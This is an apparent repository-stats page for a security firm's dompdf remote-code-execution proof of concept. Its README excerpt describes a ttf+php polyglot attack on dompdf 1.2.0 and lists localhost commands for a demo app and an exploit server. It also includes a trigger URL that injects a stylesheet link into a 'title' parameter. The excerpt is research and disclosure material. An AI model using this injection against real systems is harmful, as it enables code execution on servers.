positive-security/dompdf-rce

This is stars and forks stats for /positive-security/dompdf-rce repository. As of 02 May, 2024 this repository has 171 stars and 69 forks.

RCE exploit for dompdf This repository contains a vulnerable demo application using dompdf 1.2.0 and an exploit that achieves remote code execution via a ttf+php polyglot file. For more details, please visit https://positive.security/blog/dompdf-rce Instructions Run the demo application $ cd application $ php -S localhost:9000 Run the exploit server $ cd exploit $ php -S localhost:9001 Trigger the exploit http://localhost:9000/index.php?pdf&title=<link rel=stylesheet href='http://localhost:9001/exploit.css'> Access...